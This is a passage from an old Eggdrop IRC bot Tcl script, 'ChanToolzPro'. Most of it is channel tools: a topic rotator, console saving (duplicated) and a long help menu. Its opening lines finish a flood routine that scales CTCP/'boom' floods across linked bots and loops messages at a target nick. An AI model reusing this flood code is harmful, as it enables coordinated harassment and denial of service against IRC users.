    set floodtype "FINGER FLOOD"
    }
  if {$times == ""} {
    set bot_nr 1
    foreach linked [bots] {
      incr bot_nr 1  
        }
    set times [expr 80 / $bot_nr]
    }
  if {$times > "20"} {
    set times 20
    }
  if {$times < "1"} {
    set times 1
    }
if {("$cmd"=="joinboom" || "$cmd"=="joipboom" || "$cmd"=="jointsu" || "$cmd"=="joiptsu")} {
  if {$times > "4"} {
    set times 4
    }
  }
if {"$cmd"=="boom"} {
  if {$times > "5"} {
    set times 5
    }
   }
  if {$showflood == "b"} {
    set bot_nr 1
    foreach linked [bots] {
      incr bot_nr 1  
        }
putcmdlog "###  $bot_nr Bot(s) Flooding $floodnick  - $times -  times with a  $floodtype."
    }

  set who "$floodnick"

  for {set i 0} {$i<$times} {incr i} {
  if {$text4 != ""} {
    putserv "$text4"
    set text4 ""
     }
    putserv "$text"
  if {$text3 != ""} {
    putserv "$text3"
     }
  if {$text2 != ""} {
    putserv "$text2"
     }
    }
   set caniflood 0
   timer 1 "resetflood {$showflood}"
  } elseif {$caniflood == "0"} {
  if {$showflood == "b"} {
putcmdlog "###  Please wait... We are still flooding $who."
    }
  }
}

proc resetflood {showflood} {
  global caniflood
  global type
  global who
  if {$showflood == "b"} {
  putcmdlog "###   We are done flooding $who."
  set text ""
  set text2 ""
  set text3 ""
  set text4 ""
    }
  set caniflood 1
  set type ""
  set who ""
}

proc rs {chars} {
  for {set j 0} {$j<$chars} {incr j} {
    append rs [string index abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890 [rand 62]]
  }
  return $rs
}

proc pub_show_channel {nick host handle channel arg} {
set chan [lindex $arg 0]
if {$chan == "" } {set chan $channel}
  if {[lsearch -exact [string tolower [channels]] [string tolower $chan]] == -1} {
    putserv "PRIVMSG $nick :\002 Im Not on that channel! \002"
    return 0
  }

set i 1
    putserv "PRIVMSG $channel :Channel $chan , [llength [chanlist $chan]] members, mode [getchanmode $chan]"
    putserv "PRIVMSG $channel :    NICKNAME  HANDLE    JOINED  STAT USER@HOST"
    putserv "PRIVMSG $channel :(I = idle, M = master, O = op, D = deop)"
    append it "." 
    foreach nick [chanlist $chan] {
    set who [nick2hand $nick $chan]
    set it $i
    append it "."
    set da_msg ""
    set the_flags1 ""
    set the_flags2 ""
    set the_flags3 ""
    set the_flags4 ""
    set the_flags5 ""
    set ctimer "18:00:00"
    set ctimer [lindex [ctime [getlaston $who]] 3]
    if {$ctimer == "18:00:00"} {
    set ctimer "dunno"
    }
    if {[isop $nick $chan]} {set da_msg "@"}
    if {[matchattr $who m]} {set the_flags1 "M"}
    if {[matchattr $who o]} {set the_flags2 "O"}
    if {[matchattr $who d]} {set the_flags5 "D"}
    if {[getchanidle $nick $chan] >= 5 } {set the_flags4 "I"}
    append the_flags3 $the_flags4 $the_flags5 $the_flags1 $the_flags2 
    append da_msg $nick
    putserv "PRIVMSG $channel :$it $da_msg  $who  \($ctimer\)  $the_flags3  [getchanhost $nick $chan]"
    set it ""
    incr i 1
    }
    putserv "PRIVMSG $channel :End of channel info."
    return
    }

if {![info exist spub]} { set spub 0 }
if {![info exists snicks]} { set snicks "" }
if {![info exists nsnicks]} { set nsnicks "" }
if {![info exists schans]} { set schans "" }
if {![info exists nschans]} { set nschans "" }

if {${console-autosave}} {
  bind chof - * save_console
} {
  bind dcc - store save_console_dcc
}
bind chon - * restore_console

proc restore_console {handle idx} {
  set cons [user-get $handle console]
  set conchan [user-get $handle conchan]
  if {$cons != ""} {
    if {$conchan != ""} {
      console $idx $conchan $cons
    } {
      console $idx $cons
    }
  }
  set echo [user-get $handle echo]
  if {$echo != ""} { echo $idx $echo }
  setchan $idx [user-get $handle chan]
}

proc save_console {handle idx} {
  set cons [console $idx]
  user-set $handle conchan [lindex $cons 0]
  user-set $handle console [lindex $cons 1]
  user-set $handle echo [echo $idx]
  user-set $handle chan [getchan $idx]
}
proc save_console_dcc {handle idx param} {
  set cons [console $idx]
  set chan [getchan $idx]
  user-set $handle conchan [lindex $cons 0]
  user-set $handle console [lindex $cons 1]
  user-set $handle echo [echo $idx]
  user-set $handle chan $chan
  set newcons "[lindex $cons 0]: [lindex $cons 1]"
  if {[echo $idx]} {
    putdcc $idx "Saved your console mode as $newcons (echo on) (chan $chan)"
  } {   
    putdcc $idx "Saved your console mode as $newcons (echo off) (chan $chan)"
  }
  return 1
}
if {${console-autosave}} {
  bind chof - * save_console
} {
  bind dcc - store save_console_dcc
}
bind chon - * restore_console

proc restore_console {handle idx} {
  set cons [user-get $handle console]
  set conchan [user-get $handle conchan]
  if {$cons != ""} {
    if {$conchan != ""} {
      console $idx $conchan $cons
    } {
      console $idx $cons
    }
  }
  set echo [user-get $handle echo]
  if {$echo != ""} { echo $idx $echo }
  setchan $idx [user-get $handle chan]
}

proc save_console {handle idx} {
  set cons [console $idx]
  user-set $handle conchan [lindex $cons 0]
  user-set $handle console [lindex $cons 1]
  user-set $handle echo [echo $idx]
  user-set $handle chan [getchan $idx]
}
proc save_console_dcc {handle idx param} {
  set cons [console $idx]
  set chan [getchan $idx]
  user-set $handle conchan [lindex $cons 0]
  user-set $handle console [lindex $cons 1]
  user-set $handle echo [echo $idx]
  user-set $handle chan $chan
  set newcons "[lindex $cons 0]: [lindex $cons 1]"
  if {[echo $idx]} {
    putdcc $idx "Saved your console mode as $newcons (echo on) (chan $chan)"
  } {   
    putdcc $idx "Saved your console mode as $newcons (echo off) (chan $chan)"
  }
  return 1
}

# topic file -- this is where the topic datafiles are stored, put this in
# your configuration, or uncomment this line.
if {![info exists topicfile]} {
   set topicfile "topics"
}

# topic refresh time, in minutes
if {![info exists topic_refresh_rate]} {
   set topic_refresh_rate 120
}

# this is an internally used variable, don't change
set topics_changed 0

proc set_topic {} {
  global random_topic topics_changed topic_refresh_rate

  if {$topics_changed == 1} {
     putlog "Writing topics file..."
     topic_write
  }

  foreach i [array names random_topic] {
     if {[lsearch -exact [string tolower [channels]] [string tolower $i]] != -1} {
        set topic [lindex $random_topic($i) [rand [llength $random_topic($i)]]]
        putserv "TOPIC $i :$topic"
     } {
        unset random_topic($i)
     }
  }
  timer $topic_refresh_rate set_topic
}

proc sync_topic {} {
  set time_ending [string range [time] 2 4]
  if { $time_ending == ":00" } {
    set_topic
  } {
    timer 1 sync_topic
  }
}

proc topic_show {nick uhost hand arg} {
  global random_topic botnick

  set channel [lindex $arg 0]
  if {$channel == ""} {
     putserv "PRIVMSG $nick :Usage: TOPIC <channel>"
     return 0
  }

  if {[lsearch -exact [string tolower [channels]] [string tolower $channel]] == -1} {
     putserv "PRIVMSG $nick :I am not on ${channel}."
     return 0
  }

  putserv "PRIVMSG $nick :Topics for \002$channel\002:"

  set ctr 0
  if {[info exists random_topic([string tolower $channel])]} {
    foreach i $random_topic([string tolower $channel]) {
       incr ctr 1
       putserv "PRIVMSG $nick :\002${ctr}.\002  $i"
    }
  } {
    putserv "PRIVMSG $nick :No topics set."
  }
  putserv "PRIVMSG $nick :---- \002end\002 ----"
  if {$hand != "*" && [matchattr $hand m]} {
     putserv "PRIVMSG $nick :To add a topic type \002/msg $botnick TOPIC HELP\002 for help."
  }

  return 1
}

proc topic_add {nick uhost hand arg} {
  global random_topic topics_changed

  if {![matchattr $hand m]} {
     putserv "PRIVMSG $nick :Sorry, you are not authorized to use this command."
     return 0
  }

  set channel [lindex $arg 1]

  if {$channel == ""} {
     putserv "PRIVMSG $nick :Usage: TOPIC ADD <channel> <new topic>"
     return 0
  }

  if {[lsearch -exact [string tolower [channels]] [string tolower $channel]] == -1} {
     putserv "PRIVMSG $nick :I am not on ${channel}."
     return 0
  }

  putserv "PRIVMSG $nick :Topic list has been updated, thanks."
  putserv "PRIVMSG $nick :[lrange $arg 1 end]"
  lappend random_topic([string tolower $channel]) [lrange $arg 2 end]
  set topics_changed 1

  return 1
}

proc topic_erase {nick uhost hand arg} {
  global random_topic topics_changed

  if {![matchattr $hand m]} {
     putserv "PRIVMSG $nick :Sorry, you are not authorized to use this command."
     return 0
  }

  set channel [lindex $arg 1]
  if {$channel == ""} {
     putserv "PRIVMSG $nick :Usage: TOPIC DEL <channel> <topic#>"
     return 0
  }

  if {[lsearch -exact [string tolower [channels]] [string tolower $channel]] == -1} {
     putserv "PRIVMSG $nick :I am not on ${channel}."
     return 0
  }

  if {![info exists random_topic([string tolower $channel])]} {
     putserv "PRIVMSG $nick :No topics set."
     return 0
  }

  set i [expr [lindex $arg 2] - 1]
  if {$i >=0 && [lindex $random_topic([string tolower $channel]) $i] != ""} {
     putserv "PRIVMSG $nick :Entry [lindex $arg 2] erased."
     putserv "PRIVMSG $nick :$channel [lindex $random_topic([string tolower $channel]) $i]"
     set random_topic([string tolower $channel]) [lreplace $random_topic([string tolower $channel]) $i $i]
     set topics_changed 1
     return 1
  } {
     putserv "PRIVMSG $nick :That number is out of range!"
     return 0
  }
}

proc topic_set {nick uhost hand arg} {
  global random_topic

  if {![matchattr $hand m]} {
     putserv "PRIVMSG $nick :Sorry, you are not authorized to use this command."
     return 0
  }

  set channel [lindex $arg 1]
  if {$channel == ""} {
     putserv "PRIVMSG $nick :Usage: TOPIC SET <channel> <topic#>"
     return 0
  }

  if {[lsearch -exact [string tolower [channels]] [string tolower $channel]] == -1} {
     putserv "PRIVMSG $nick :I am not on ${channel}."
     return 0
  }

  if {![info exists random_topic([string tolower $channel])]} {
     putserv "PRIVMSG $nick :No topics set."
     return 0
  }

  set i [expr [lindex $arg 2] - 1]
  if {$i >=0 && [lindex $random_topic([string tolower $channel]) $i] != ""} {
     putserv "PRIVMSG $nick :Setting current topic to entry [lindex $arg 2]."
     putserv "TOPIC $channel :[lindex $random_topic([string tolower $channel]) $i]"
     return 1
  } {
     putserv "PRIVMSG $nick :That number is out of range!"
     return 0
  }
}

proc topic_refresh {nick uhost hand arg} {
   global topic_refresh_rate

  if {![matchattr $hand m]} {
     putserv "PRIVMSG $nick :Sorry, you are not authorized to use this command."
     return 0
  }

  if {[lindex $arg 1] == ""} {
     putserv "PRIVMSG $nick :Usage: TOPIC REF <minutes>"
     return 0
  }

  set i [lindex $arg 1]
  if {$i < 30 || $i > 240} {
     putserv "PRIVMSG $nick :Refresh rate must be 30 - 240 minutes."
     return 0
  } {
     set topic_refresh_rate $i
     putserv "PRIVMSG $nick :Refresh rate has been changed to \002$topic_refresh_rate\002 minutes, this change"
     putserv "PRIVMSG $nick :will be effective after the next topic change."
     return 1
  }
}

proc topic_help {nick uhost hand arg} {
  putserv "PRIVMSG $nick :Usage: TOPIC                  - show topics"
  if {[matchattr $hand m]} {
    putserv "PRIVMSG $nick :       TOPIC ADD <channel> <new topic>  - add topic entry"
    putserv "PRIVMSG $nick :       TOPIC DEL <channel> <topic#>     - delete topic entry"
    putserv "PRIVMSG $nick :       TOPIC SET <channel> <topic#>     - set current topic to topic#"
    putserv "PRIVMSG $nick :       TOPIC REF <minutes>              - change topic refresh rate"
  }

  return 1
}

proc topic_load {} {
   global random_topic topicfile

   if {[info exists random_topic]} {unset random_topic}
   if {[catch {set fd [open $topicfile r]}] != 0} {return 0}
   while {![eof $fd]} {
      set inp [gets $fd]
      if {[eof $fd]} {break}
      if {[string trim $inp " "] == ""} {continue}
      set channel [lindex $inp 0]
      lappend random_topic([string tolower $channel]) [lrange $inp 1 end]
   }
   close $fd

   return 1
}

proc topic_write {} {
   global topicfile random_topic topics_changed

   set fd [open $topicfile w]
   foreach channel [array names random_topic] {
      if {[lsearch -exact [string tolower [channels]] [string tolower $channel]] != -1} {
         foreach i $random_topic([string tolower $channel]) {
            puts $fd "$channel $i"
         }
      }
   }
   close $fd

   set topics_changed 0
   return 1
}


proc msg_topic {nick uhost hand arg} {
  switch [string tolower [lindex $arg 0]] {
    "add"       {set r [topic_add $nick $uhost $hand $arg]}
    "del"	{set r [topic_erase $nick $uhost $hand $arg]}
    "delete"	{set r [topic_erase $nick $uhost $hand $arg]}
    "set"	{set r [topic_set $nick $uhost $hand $arg]}
    "ref"	{set r [topic_refresh $nick $uhost $hand $arg]}
    "refresh"	{set r [topic_refresh $nick $uhost $hand $arg]}
    "help"	{set r [topic_help $nick $uhost $hand $arg]}
    default     {set r [topic_show $nick $uhost $hand $arg]}
  }
  return $r
}

topic_load

if {![info exists set_topic_running] && ![info exists random_topic]} {
  sync_topic
  set set_topic_running 1
}

proc pub_help {nick uhost handle channel arg} {
   global botnick
   set args [string tolower [lindex $arg 0]]
   if {$args == "info"} {
   putserv "Notice $nick :This is ChanToolzPro TCL Script"
   putserv "Notice $nick :By: _GoGo_ (yu132952@yorku.ca)"
   putserv "Notice $nick :This TCL is for Eggdrop 1.0k+ Only!"
   return 1
   }
   if {$args == "date"} {
   putserv "Notice $nick :Help on: DATE"
   putserv "Notice $nick :The [char]date command is used to check"
   putserv "Notice $nick :the date"
   putserv "Notice $nick :Usage: [char]date"
   return 1
   }
   if {$args == "idle"} {
   putserv "Notice $nick :Help on: IDLE"
   putserv "Notice $nick :The [char]idle command is used to see"
   putserv "Notice $nick :how long a user has been idle"
   putserv "Notice $nick :Usage: [char]idle <nick>"
   return 1
   }
   if {$args == "ptime"} {
   putserv "Notice $nick :Help on: PTIME"
   putserv "Notice $nick :The [char]ptime command shows your lag"
   putserv "Notice $nick :Usage: [char]ptime"
   return 1
   }
   if {$args == "time"} {
   putserv "Notice $nick :Help on: TIME"
   putserv "Notice $nick :The [char]time command shows the time"
   putserv "Notice $nick :Usage: [char]time"
   return 1
   }
   if {$args == "version"} {
   putserv "Notice $nick :Help on:: VERSION"
   putserv "Notice $nick :The [char]version command shows the TCL"
   putserv "Notice $nick :script version"
   putserv "Notice $nick :Usage: [char]version"
   return 1
   }
   if {$args == "ver"} {
   putserv "Notice $nick :Help on: VER"
   putserv "Notice $nick :The [char]ver command shows the TCL"
   putserv "Notice $nick :script version"
   putserv "Notice $nick :Usage: [char]ver"
   return 1
   } 
if {[matchattr $handle p]} {
   if {$args == "bots"} {
   putserv "Notice $nick :Help on: BOTS"
   putserv "Notice $nick :The [char]bots command shows the"
   putserv "Notice $nick :bots connected to [boat]"
   putserv "Notice $nick :Usage: [char]bots"
   return 1
   }
   if {$args == "chat"} {
   putserv "Notice $nick :Help on: CHAT"
   putserv "Notice $nick :The [chat]chat command makes me DCC"
   putserv "Notice $nick :Chat with you, in case your DCC"
   putserv "Notice $nick :Chat isn't working on your side"
   putserv "Notice $nick :Usage: [char]chat"
   return 1
   }
}
if {[matchattr $handle o]} {
   if {$args == "act"} {
   putserv "Notice $nick :Help on: ACT"
   putserv "Notice $nick :The [char]act command is used to make"
   putserv "Notice $nick :me act out text"
   putserv "Notice $nick :Usage: [char]act <text>"
   return 1
   }
   if {$args == "away"} {
   putserv "Notice $nick :Help on: AWAY"
   putserv "Notice $nick :The [char]away command is used to mark"
   putserv "Notice $nick :the bot as being away"
   putserv "Notice $nick :Usage: [char]away <away message>"
   return 1
   }
   if {$args == "back"} {
   putserv "Notice $nick :Help on: BACK"
   putserv "Notice $nick :The [char]back command marks the bot away"
   putserv "Notice $nick :Usage: [char]back"
   return 1
   }
   if {$args == "ban"} {
   putserv "Notice $nick :Help on: BAN"
   putserv "Notice $nick :The [char]ban command bans a user"
   putserv "Notice $nick :Usage: [char]ban <nick>"
   return 1
   }
   if {$args == "banner"} {
   putserv "Notice $nick :Help on: BANNER"
   putserv "Notice $nick :The [char]banner command shows a channel"
   putserv "Notice $nick :message so everyone can see"
   putserv "Notice $nick :Usage: [char]banner <message>"
   return 1
   }
   if {$args == "bans"} {
   putserv "Notice $nick :Help on: BANS"
   putserv "Notice $nick :The [char]bans command shows channel bans"
   putserv "Notice $nick :Usage: [char]bans <channel>"
   return 1
   }
   if {$args == "chaninfo"} {
   putserv "Notice $nick :Help on: CHANINFO"
   putserv "Notice $nick :The [char]chaninfo command shows the"
   putserv "Notice $nick :channel info for  the current channel"
   putserv "Notice $nick :Usage: [char]chaninfo"
   return 1
   }
   if {$args == "chanlist"} {
   putserv "Notice $nick :Help on: CHANLIST"
   putserv "Notice $nick :The [char]chanlist command finds users with"
   putserv "Notice $nick :the given flags in the channel"
   putserv "Notice $nick :Usage: [char]chanlist <userflags>"
   return 1
   }
   if {$args == "channels"} {
   putserv "Notice $nick :Help on: CHANNELS"
   putserv "Notice $nick :The [char]channels command tells the"
   putserv "Notice $nick :current channels I am on"
   putserv "Notice $nick :Usage: [char]channels"
   return 1
   }
   if {$args == "clearbans"} {
   putserv "Notice $nick :Help on: CLEARBANS"
   putserv "Notice $nick :The [char]clearbans command clears the bans"
   putserv "Notice $nick :in the current channel"
   putserv "Notice $nick :Usage: [char]clearbans"
   return 1
   }
   if {$args == "dcclist"} {
   putserv "Notice $nick :Help on: DCCLIST"
   putserv "Notice $nick :The [char]dcclist command shows users"
   putserv "Notice $nick :connected by DCC Chat"
   putserv "Notice $nick :Usage: [char]dcclist"
   return 1
   }  
   if {$args == "debug"} {
   putserv "notice $nick :Help on: DEBUG"
   putserv "notice $nick :The [char]debug command is used to see if"
   putserv "notice $nick :somethingis wrong in the script."
   putserv "notice $nick :Usage: [char]debug <args>"
   putserv "Notice $nick :Args are: args <procname>, cmdcount"
   putserv "Notice $nick :commands, complete <procname>, platform"
   putserv "Notice $nick :hostname, lib, loaded, exec, patchversion"
   putserv "Notice $nick :ext, pid, var <procname>"
   return 1
   }
   if {$args == "devoice"} {
   putserv "Notice $nick :Help on: DEVOICE"
   putserv "Notice $nick :The [char]devoice command takes away a"
   putserv "Notice $nick :users voice (-v)"
   putserv "Notice $nick :Usage: [char]devoice <nick>"
   return 1
   }
   if {$args == "down"} {
   putserv "Notice $nick :Help on: DOWN"
   putserv "Notice $nick :The [char]down command deops you"
   putserv "Notice $nick :Usage: [char]down"
   return 1
   }
   if {$args == "hosts"} {
   putserv "Notice $nick :Help on: HOSTS"
   putserv "Notice $nick :The [char]hosts command shows your"
   putserv "Notice $nick :current hosts, that I recognize"
   putserv "Notice $nick :Usage: [char]hosts"
   return 1
   }
   if {$args == "ignorelist"} {
   putserv "Notice $nick :Help on: IGNORELIST"
   putserv "Notice $nick :The [char]ignorelist command shows"
   putserv "Notice $nick :my current ignorelist"
   putserv "Notice $nick :Usage: [char]ignorelist"
   return 1
   }
   if {$args == "invite"} {
   putserv "Notice $nick :Help on: INVITE"
   putserv "Notice $nick :The [char]invite commands invites"
   putserv "Notice $nick :a user to a channel"
   putserv "Notice $nick :Usage: [char]invite <nick> <channel>"
   return 1
   }
   if {$args == "kick"} {
   putserv "Notice $nick :Help on: KICK"
   putserv "Notice $nick :The [char]kick command kicks a user"
   putserv "Notice $nick :from the channel"
   putserv "Notice $nick :Usage: [char]kick <nick> <reason>"
   return 1
   }
   if {$args == "kill"} {
   putserv "Notice $nick :Help on: KILL"
   putserv "Notice $nick :The [char]kill command kick/bans a user"
   putserv "Notice $nick :from the channel"
   putserv "Notice $nick :Usage: [char]kill <nick>"
   return 1
   }
   if {$args == "list"} {
   putserv "Notice $nick :Help on: LIST"
   putserv "Notice $nick :The [char]list command lists users with"
   putserv "Notice $nick :the specified user flags"
   putserv "Notice $nick :Usage: [char]list <flags>"
   return 1
   }
   if {$args == "mode"} {
   putserv "Notice $nick :Help on: MODE"
   putserv "Notice $nick :The [char]mode commands changes the"
   putserv "Notice $nick :channel modes"
   putserv "Notice $nick :Usage: [char]mode <+/- modes>"
   return 1
   }
   if {$args == "momma"} {
   putserv "Notice $nick :Help on: MOMMA"
   putserv "Notice $nick :The [char]momma command tells a mother"
   putserv "Notice $nick :joke to another users"
   putserv "Notice $nick :Usage: [char]momma <nick>"
   return 1
   }
   if {$args == "msg"} {
   putserv "Notice $nick :Help on: MSG"
   putserv "Notice $nick :The [char]msg command messages a user"
   putserv "Notice $nick :with text"
   putserv "Notice $nick :Usage: [char]msg <nick> <text>"
   return 1
   } 
   if {$args == "notice"} {
   putserv "Notice $nick :Help on: NOTICE"
   putserv "Notice $nick :The [char]notice command notices a user"
   putserv "Notice $nick :with text"
   putserv "Notice $nick :Usage: [char]notice <nick> <text>"
   return 1
   }
   if {$args == "op"} {
   putserv "Notice $nick :Help on: OP"
   putserv "Notice $nick :The [char]op command ops a user"
   putserv "Notice $nick :Usage: [char]op <nick>"
   return 1
   }
   if {$args == "ping"} {
   putserv "Notice $nick :Help on: PING"
   putserv "Notice $nick :The [char]ping command sends a ping"
   putserv "Notice $nick :message out to the channel"
   putserv "Notice $nick :Usage: [char]ping"
   return 1
   }
   if {$args == "return"} {
   putserv "Notice $nick :Help on: RETURN"
   putserv "Notice $nick :The [char]return command returns a"
   putserv "Notice $nick :users ctcp response"
   putserv "Notice $nick :Usage: [char]return <ctcp command> <nick>"
   putserv "Notice $nick :ctcp commands are: version, userinfo, finger"
   putserv "Notice $nick :clientinfo, time"
   return 1
   }
   if {$args == "seen"} {
   putserv "Notice $nick :Help on: SEEN"
   putserv "Notice $nick :The [char]seen command shows the last"
   putserv "Notice $nick :time a user was on the channel"
   putserv "Notice $nick :Usage: [char]seen <nick>"
   return 1
   }
   if {$args == "sendnote"} {
   putserv "Notice $nick :Help on: SENDNOTE"
   putserv "Notice $nick :The [char]sendnote command sends a"
   putserv "Notice $nick :note to another user"   
   putserv "Notice $nick :Usage: [char]sendnote <from who> <to who> <note>"
   return 1
   }
   if {$args == "server"} {
   putserv "Notice $nick :Help on: SERVER"
   putserv "Notice $nick :The [char]server command shows the"
   putserv "Notice $nick :server I am connected to"
   putserv "Notice $nick :Usage: [char]server"
   return 1
   }
   if {$args == "shit"} {
   putserv "Notice $nick :Help on: SHIT"
   putserv "Notice $nick :The [char]shit command adds a user to"
   putserv "Notice $nick :the permban list"
   putserv "Notice $nick :Usage: [char]shit <nick>"
   return 1
   }
   if {$args == "shutup"} {
   putserv "Notice $nick :Help on: SHUTUP"
   putserv "Notice $nick :The [char]shutup command places a user"
   putserv "Notice $nick :on shutup kick  [char]talk to remove them"
   putserv "Notice $nick :Usage: [char]shutup <nick>"
   return 1
   }
   if {$args == "status"} {
   putserv "Notice $nick :Help on: STATUS"
   putserv "Notice $nick :The [char]status command shows current"
   putserv "Notice $nick :bot status"
   putserv "Notice $nick :Usage: [char]status"
   return 1
   }
   if {$args == "talk"} {
   putserv "Notice $nick :Help on: TALK"
   putserv "Notice $nick :The [char]talk command removes a user"
   putserv "Notice $nick :from shutup kick"
   putserv "Notice $nick :Usage: [char]talk <nick>"
   return 1
   }
   if {$args == "togsplits"} {
   putserv "Notice $nick :Help on: TOGSPLITS"
   putserv "Notice $nick :The [char]togsplits command toggles the"
   putserv "Notice $nick :built in split detector"
   putserv "Notice $nick :Usage: [char]togsplits"
   return 1
   }
   if {$args == "topic"} {
   putserv "Notice $nick :Help on: TOPIC"
   putserv "Notice $nick :The [char]topic command changes the"
   putserv "Notice $nick :channel topic"
   putserv "Notice $nick :Usage: [char]topic <new topic>"
   return 1
   }
   if {$args == "unban"} {
   putserv "Notice $nick :Help on: UNBAN"
   putserv "Notice $nick :The [char]unban command unbans a user"
   putserv "Notice $nick :Usage: [char]unban <nick/host>"
   return 1
   }
   if {$args == "up"} {
   putserv "Notice $nick :Help on: UP"
   putserv "Notice $nick :The [char]up command ops you"
   putserv "Notice $nick :Usage: [char]up"
   return 1
   }
   if {$args == "usercount"} {
   putserv "Notice $nick :Help on: USERCOUNT"
   putserv "Notice $nick :The [char]usercount command counts"
   putserv "Notice $nick :users in the current channel"
   putserv "Notice $nick :Usage: [char]usercount"
   return 1
   }
   if {$args == "voice"} {
   putserv "Notice $nick :Help on: VOICE"
   putserv "Notice $nick :The [char]voice command devoices a"
   putserv "Notice $nick :user (-v)"
   putserv "Notice $nick :Usage: [char]voice <nick>"
   return 1
   }
   if {$args == "whochan"} {
   putserv "Notice $nick :Help on: WHOCHAN"
   putserv "Notice $nick :The [char]whochan command lists who is"
   putserv "Notice $nick :on the given channel"
   putserv "Notice $nick :Usage: [char]whochan <channel>"
   return 1
   }
   if {$args == "whois"} {
   putserv "Notice $nick :Help on: WHOIS"
   putserv "Notice $nick :The [char]whois command shows some info"
   putserv "Notice $nick :on the user"
   putserv "Notice $nick :Usage: [char]whois <nick>"
   return 1
   }
}
if {[matchattr $handle m]} {
   if {$args == "addbot"} {
   putserv "Notice $nick :Help on: ADDBOT"
   putserv "Notice $nick :The [char]addbot command adds a bot to"
   putserv "Notice $nick :my UserFile"
   putserv "Notice $nick :Usage: [char]addbot <nick> <server:port>"
   return 1
   }
   if {$args == "adduser"} {
   putserv "Notice $nick :Help on: ADDUSER"
   putserv "Notice $nick :The [char]adduser command adds a User to"
   putserv "Notice $nick :my Userfile"
   putserv "Notice $nick :Usage: [char]adduser <nick>"
   return 1
   }
   if {$args == "chattr"} {
   putserv "Notice $nick :Help on: CHATTR"
   putserv "Notice $nick :The [char]chattr command changes a users"
   putserv "Notice $nick :flags"
   putserv "Notice $nick :Usage: [char]chattr <nick> <+/- flags>"
   return 1
   }
   if {$args == "clearmode"} {
   putserv "Notice $nick :Help on: CLEARMODE"
   putserv "Notice $nick :The [char]clearmode command clears the"
   putserv "Notice $nick :current channel modes"
   putserv "Notice $nick :Usage: [char]clearmode"
   return 1
   }
   if {$args == "ctcpr"} {
   putserv "Notice $nick :Help on: CTCPR"
   putserv "Notice $nick :The [char]ctcpr command sends a ctcp" 
   putserv "Notice $nick :reply to a user"
   putserv "Notice $nick :Usage: [char]ctcpr <nick> <command> <reply>"
   return 1
   }
   if {$args == "cycle"} {
   putserv "Notice $nick :Help on: CYCLE"
   putserv "Notice $nick :The [char]cycle command makes me part"
   putserv "Notice $nick :then rejoin the current channel"
   putserv "Notice $nick :Usage: [char]cycle"
   return 1
   }
   if {$args == "die"} {
   putserv "Notice $nick :Help on: DIE"
   putserv "Notice $nick :The [char]die command makes me quit irc"
   putserv "Notice $nick :Usage: [char]die"
   return 1
   }
   if {$args == "flip"} {
   putserv "Notice $nick :Help on: FLIP"
   putserv "Notice $nick :The [char]flip command flips the letters in"
   putserv "Notice $nick :a word backwards, very funny sometimes"
   putserv "Notice $nick :Usage: [char]flip <text>"
   return 1
   }
   if {$args == "join"} {
   putserv "Notice $nick :Help on: JOIN"
   putserv "Notice $nick :The [char]join command is user to make me"
   putserv "Notice $nick :join a channel"
   putserv "Notice $nick :Usage: [char]join <channel>"
   return 1
   }
   if {$args == "jump"} {
   putserv "Notice $nick :Help on: JUMP"
   putserv "Notice $nick :The [char]jump command makes me switch"
   putserv "Notice $nick :servers"
   putserv "Notice $nick :Usage: [char]jump <server> <port>"
   return 1
   }
   if {$args == "leet"} {
   putserv "Notice $nick :Help on: LEET"
   putserv "Notice $nick :The [char]leet command talks in cool text"
   putserv "Notice $nick :for all you leet freaks out there"
   putserv "Notice $nick :Usage: [char]leet <text>"
   return 1
   }
   if {$args == "link"} {
   putserv "Notice $nick :Help on: LINK"
   putserv "Notice $nick :The [char]link command links a current"
   putserv "Notice $nick :bot on the Userlist"
   putserv "Notice $nick :Usage: [char]link <botnick>"
   return 1
   }
   if {$args == "part"} {
   putserv "Notice $nick :Help on: PART"
   putserv "Notice $nick :The [char]part command makes me leave"
   putserv "Notice $nick :a channel"
   putserv "Notice $nick :Usage: [char]part <channel>"
   return 1
   }
   if {$args == "nick"} {
   putserv "Notice $nick :Help on: NICK"
   putserv "Notice $nick :The [char]nick commands changes my nick"
   putserv "Notice $nick :Usage: [char]nick <newnick>"
   return 1
   }
   if {$args == "reload"} {
   putserv "Notice $nick :Help on: RELOAD"
   putserv "Notice $nick :The [char]reload commands reloads the"
   putserv "Notice $nick :userlist"
   putserv "Notice $nick :Usage: [char]reload"
   return 1
   }
   if {$args == "rembot"} {
   putserv "Notice $nick :Help on: REMBOT"
   putserv "Notice $nick :The [char]rembot command removes a bot"
   putserv "Notice $nick :from my Userlist"
   putserv "Notice $nick :Usage: [char]rembot <botnick>"
   return 1
   }
   if {$args == "remuser"} {
   putserv "Notice $nick :Help on: REMUSER"
   putserv "Notice $nick :The [char]remuser command removes a user"
   putserv "Notice $nick :from my Userlist"
   putserv "Notice $nick :Usage: [char]remuser <nick>"
   return 1
   }
   if {$args == "say"} {
   putserv "Notice $nick :Help on: SAY"
   putserv "Notice $nick :The [char]say command makes me say some"
   putserv "Notice $nick :text"
   putserv "Notice $nick :Usage: [char]say <text>"
   return 1
   }
   if {$args == "save"} {
   putserv "Notice $nick :Help on: SAVE"
   putserv "Notice $nick :The [char]save command saves the Userlist"
   putserv "Notice $nick :Usage: [char]save"
   return 1
   }
   if {$args == "set"} {
   putserv "Notice $nick :Help on: SET"
   putserv "Notice $nick :The [char]set command changes the default"
   putserv "Notice $nick :channel settings"
   putserv "Notice $nick :Usage: [char]set <setting> <what>"
   return 1
   }
   if {$args == "switch"} {
   putserv "Notice $nick :Help on: SWITCH"
   putserv "Notice $nick :The [char]switch command switches words in"
   putserv "Notice $nick :a sentence so they go from right to left"
   putserv "Notice $nick :Usage: [char]switch <text>"
   return 1
   }
   if {$args == "unlink"} {
   putserv "Notice $nick :Help on: UNLINK"
   putserv "Notice $nick :The [char]unlink command unlinks one of"
   putserv "Notice $nick :the current connected bots"
   putserv "Notice $nick :Usage: [char]unlink <botnick>"
   return 1
   }
   if {$args == "userlist"} {
   putserv "Notice $nick :Help on: USERLIST"
   putserv "Notice $nick :The [char]userlist command shows the current"
   putserv "Notice $nick :Users on my Database"
   putserv "Notice $nick :Usage: [char]userlist"
   return 1
   }
   if {$args == "trace"} {
   putserv "Notice $nick :Help on: TRACE (traceroute)"
   putserv "Notice $nick :The [char]trace command traces a users"
   putserv "Notice $nick :address and finds all the links to it"
   putserv "Notice $nick :Usage: [char]trace <dns/ip address>"
   return 1
   }
   if {$args == "nslookup"} {
   putserv "Notice $nick :Help on: NSLOOKUP"
